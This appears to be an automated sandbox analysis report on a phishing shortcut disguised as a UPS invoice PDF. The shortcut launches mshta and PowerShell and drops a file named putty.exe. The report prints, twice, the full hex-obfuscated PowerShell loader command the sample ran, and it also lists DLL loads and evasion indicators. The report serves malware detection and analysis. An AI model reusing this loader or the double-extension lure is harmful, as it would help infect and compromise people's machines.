Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: Invoice-UPS-218931.pdf.lnk.mal.lnk

LNK file: ..\..\..\..\..\Windows\System32\forfiles.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\putty.exe

Window detected: Number of UI elements: 20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: BthUdTask.pdbGCTL source: mshta.exe, 00000004.00000003.1780875436.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1788162718.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793723399.0000023F9E010000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780951650.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790513355.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1781797733.0000023F9A12F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780951650.0000023F9A140000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780196042.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780501830.0000023F9E075000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793583362.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780052517.0000023F9E0D9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1782232696.00000237975FD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790461409.0000023F9A130000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793809350.0000023F9E076000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793264894.0000023F9A130000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780480215.0000023F9A1E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793828055.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, invoiceupsstage[1].4.dr
Source:	Binary string: .pdbGCTL source: mshta.exe, 00000004.00000003.1780875436.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780196042.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793828055.0000023F9E0BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BthUdTask.pdb source: mshta.exe, 00000004.00000003.1788162718.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793723399.0000023F9E010000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1780951650.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790513355.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1781797733.0000023F9A12F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793583362.0000023F9A1BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.1790461409.0000023F9A130000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.1793264894.0000023F9A130000.00000004.00000020.00020000.00000000.sdmp, invoiceupsstage[1].4.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FwbFg($aDSKbaK){return -split ($aDSKbaK -replace '..', '0x$& ')};$JMNVEMgx = FwbFg('21A646F03E7B8D0E0144FF5C4397D6E8768C751065483745F91BB8343AB048B2246E85D2C3339FCBD44E15DFB72AFC02B9734D6A198B8C26999F960E241B32E123B9CBACA3B2719C1372506CBCE2AA66A828088A6FB1394DB34D592155F83047EFCC0A4D824F80F7CF48D2BEF262BB9D33AEED76C583D7D150E7BAB97E9A8CFDF072921223BBAC8034DB6994987DC74DEDC903018518B3F35E6537D8A19790BD95F0143B2B4B7E734D48A2B7ACD50D6D344FCF97F4EE62251F59AFEEB9CFBEAC068B301CDE9B6205C120F731D96BC22D1FC31D8EFB7366A1B397C3FEACFF206D10806BD24C4B7E075E59E404FA575B579D4A6DF851FA02F116A2F66F789FA93583B7A924750A4FCAE28D9AC0876FEE6A97B56A1C444B74CD5A3658FF272917B31D6BFD3C6ECA76779B6869B431C03C81496AFFCDED8FCE4236FE3A29ABA4886BCA3096A535D941BDB706E590E88FA7706D01704C7206EA1993D9AEAE980BE84779168990E621B6CA14C201182FADBE2BAD9E4DAF1390F82E6E15665D552AC5D16E555E1A10FA71DB534F2319ED67A298283D9D1A1751E92A4FCFB4D31F6A93918C158BDD7EABEF8738964944F2614AD2E6956D5DE3967B3DFE771C9B3D9AC0461E1DE5472BAB55BE9C8660808B51C7080DFEFD889FEB39F30E08DCD5F153CA0E79A9BD1E25A9744BC9BA6F2D4AD161933BF97501242E37612D84B24A8C7848DDFBCC7A2C27BEFFF04E49DBBC9B8747A32D22D665A58E7B75BAF2BD3F1B99490F02F1CC81FE2EC80A4698AB32FD2AD22E0A57EB4582E03B221A46AB6F38B5479E296F8F998DD6D5168DDF6BE6B26968F1BFAC528412BB40BFA973A25189BF34F62AF88628E5760F282273BD9BFF02CDBBA4D63C85B6432A4E0D9E278E71C030FC7DEAAD08193692A80FB945629DE03029A101207C5F6CCD2F2A28646261EEEFE0C2884B1E19245881C7F4019F40A3E6A22A4E0B908C58233F10BB8BD8761D051FEFC7CA6830D169C4CDCFF33B2AD164977B0CED54F545F0020ECBB4EE24B26829657385A8DE80F60CBA5D6B36691DFEC61790CF77FE52269ED867DFA5120D6F6B6FB44CDFD99729B57B18279E84006C9697187CD589F4C6670B67313C0BC55D33B4D23D49761F9323E4B3E7611C1E68CCA7234F6AAAFCDF9910AF8D82BB84B2A607C63A8B87F5F13F7E8A604B1BA722BD0E876B85A74D8B1827EF22E424DBBD1EB3B2CB9EE6A38003CEA4C37D16615F536B1FFF4B129E5612763B59A74FF64B2E06055B8B24F5B5B7EC633F0335F3071091D7AD4106436C236007B291CF7A546785AA4B12C6C6132447EBA40F14CDC19ECBCEE70C975C7D8F0578F7FCAE5D8A2493C63EE1933513A538C7932C9E9C55084260FAE910DFE4190287225BA380E3F6B468905DB1E58629BB1A1B3C3296158A92830DA5112AF2F8E2277479FB9AFE52AB07C3BA644BDD75957ADB75241C6C23F95ACA7AF54F336FF6A8993C9D591E45CD5E243C46981298C82628286E0C5E331ACDD58AA74DFD318E226ABA7F7800F4A5F082919C70227FB9FC05B21083D3B9441D09666C4F983DFB7A8A821A080FF46F4A453A18A711C5EF4B13B318F99DE6427F6659F80C64D4FF6966E2F33DA9C9686F7E6CFD31D9E3D0AED7D73835A8C0C6222E3000D5F10C6285154E7086FF8EB7E9C110B4B86CE83C6F08FFF8D327680FE10400DA4CE7869DC78BCAD4DE74B35E05ED0B23917BD0F6A5851D6A5605D6BCB8EF5B938BB1527EE0A159BE7290D623181BFC96809099D314A1ECDB5BFB518599AB82C48092BA1049836D235A7F5883F1AC30CC53712246AF5F651DE0907D59DC5B745CBF1210DE92CDADEED7E1043B6C1F429DF3CC959506E3A55B17614E807E23F46A911829D400434C9681DBB6A3A2A0BC95862391FB8AD4E829AB55BB8430C0ECD752BB561057DE927805A181');$fcuYB
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FwbFg($aDSKbaK){return -split ($aDSKbaK -replace '..', '0x$& ')};$JMNVEMgx = FwbFg('21A646F03E7B8D0E0144FF5C4397D6E8768C751065483745F91BB8343AB048B2246E85D2C3339FCBD44E15DFB72AFC02B9734D6A198B8C26999F960E241B32E123B9CBACA3B2719C1372506CBCE2AA66A828088A6FB1394DB34D592155F83047EFCC0A4D824F80F7CF48D2BEF262BB9D33AEED76C583D7D150E7BAB97E9A8CFDF072921223BBAC8034DB6994987DC74DEDC903018518B3F35E6537D8A19790BD95F0143B2B4B7E734D48A2B7ACD50D6D344FCF97F4EE62251F59AFEEB9CFBEAC068B301CDE9B6205C120F731D96BC22D1FC31D8EFB7366A1B397C3FEACFF206D10806BD24C4B7E075E59E404FA575B579D4A6DF851FA02F116A2F66F789FA93583B7A924750A4FCAE28D9AC0876FEE6A97B56A1C444B74CD5A3658FF272917B31D6BFD3C6ECA76779B6869B431C03C81496AFFCDED8FCE4236FE3A29ABA4886BCA3096A535D941BDB706E590E88FA7706D01704C7206EA1993D9AEAE980BE84779168990E621B6CA14C201182FADBE2BAD9E4DAF1390F82E6E15665D552AC5D16E555E1A10FA71DB534F2319ED67A298283D9D1A1751E92A4FCFB4D31F6A93918C158BDD7EABEF8738964944F2614AD2E6956D5DE3967B3DFE771C9B3D9AC0461E1DE5472BAB55BE9C8660808B51C7080DFEFD889FEB39F30E08DCD5F153CA0E79A9BD1E25A9744BC9BA6F2D4AD161933BF97501242E37612D84B24A8C7848DDFBCC7A2C27BEFFF04E49DBBC9B8747A32D22D665A58E7B75BAF2BD3F1B99490F02F1CC81FE2EC80A4698AB32FD2AD22E0A57EB4582E03B221A46AB6F38B5479E296F8F998DD6D5168DDF6BE6B26968F1BFAC528412BB40BFA973A25189BF34F62AF88628E5760F282273BD9BFF02CDBBA4D63C85B6432A4E0D9E278E71C030FC7DEAAD08193692A80FB945629DE03029A101207C5F6CCD2F2A28646261EEEFE0C2884B1E19245881C7F4019F40A3E6A22A4E0B908C58233F10BB8BD8761D051FEFC7CA6830D169C4CDCFF33B2AD164977B0CED54F545F0020ECBB4EE24B26829657385A8DE80F60CBA5D6B36691DFEC61790CF77FE52269ED867DFA5120D6F6B6FB44CDFD99729B57B18279E84006C9697187CD589F4C6670B67313C0BC55D33B4D23D49761F9323E4B3E7611C1E68CCA7234F6AAAFCDF9910AF8D82BB84B2A607C63A8B87F5F13F7E8A604B1BA722BD0E876B85A74D8B1827EF22E424DBBD1EB3B2CB9EE6A38003CEA4C37D16615F536B1FFF4B129E5612763B59A74FF64B2E06055B8B24F5B5B7EC633F0335F3071091D7AD4106436C236007B291CF7A546785AA4B12C6C6132447EBA40F14CDC19ECBCEE70C975C7D8F0578F7FCAE5D8A2493C63EE1933513A538C7932C9E9C55084260FAE910DFE4190287225BA380E3F6B468905DB1E58629BB1A1B3C3296158A92830DA5112AF2F8E2277479FB9AFE52AB07C3BA644BDD75957ADB75241C6C23F95ACA7AF54F336FF6A8993C9D591E45CD5E243C46981298C82628286E0C5E331ACDD58AA74DFD318E226ABA7F7800F4A5F082919C70227FB9FC05B21083D3B9441D09666C4F983DFB7A8A821A080FF46F4A453A18A711C5EF4B13B318F99DE6427F6659F80C64D4FF6966E2F33DA9C9686F7E6CFD31D9E3D0AED7D73835A8C0C6222E3000D5F10C6285154E7086FF8EB7E9C110B4B86CE83C6F08FFF8D327680FE10400DA4CE7869DC78BCAD4DE74B35E05ED0B23917BD0F6A5851D6A5605D6BCB8EF5B938BB1527EE0A159BE7290D623181BFC96809099D314A1ECDB5BFB518599AB82C48092BA1049836D235A7F5883F1AC30CC53712246AF5F651DE0907D59DC5B745CBF1210DE92CDADEED7E1043B6C1F429DF3CC959506E3A55B17614E807E23F46A911829D400434C9681DBB6A3A2A0BC95862391FB8AD4E829AB55BB8430C0ECD752BB561057DE927805A181');$fcuYB			Jump to behavior

Source: invoiceupsstage[1].4.dr

Static PE information: real checksum: 0x9660 should be: 0x361dc

Source: invoiceupsstage[1].4.dr	Static PE information: section name: .didat
Source: putty.exe.7.dr	Static PE information: section name: .00cfg
Source: putty.exe.7.dr	Static PE information: section name: .gxfg
Source: putty.exe.7.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00007FFB49B2919D push E85B7B00h; ret

7_2_00007FFB49B291F9

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\invoiceupsstage[1]			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\putty.exe			Jump to dropped file

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\invoiceupsstage[1]

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.lnk

Static PE information: Invoice-UPS-218931.pdf.lnk.mal.lnk

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D9610 IsIconic,SetWindowTextW,SetWindowTextA,	12_2_00007FF6785D9610
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D96E0 IsIconic,SetWindowTextW,SetWindowTextA,	12_2_00007FF6785D96E0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF6785D97B0 IsIconic,ShowWindow,	12_2_00007FF6785D97B0

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF6785D51DF RegisterClipboardFormatA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CoInitialize,MessageBoxA,

12_2_00007FF6785D51DF

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
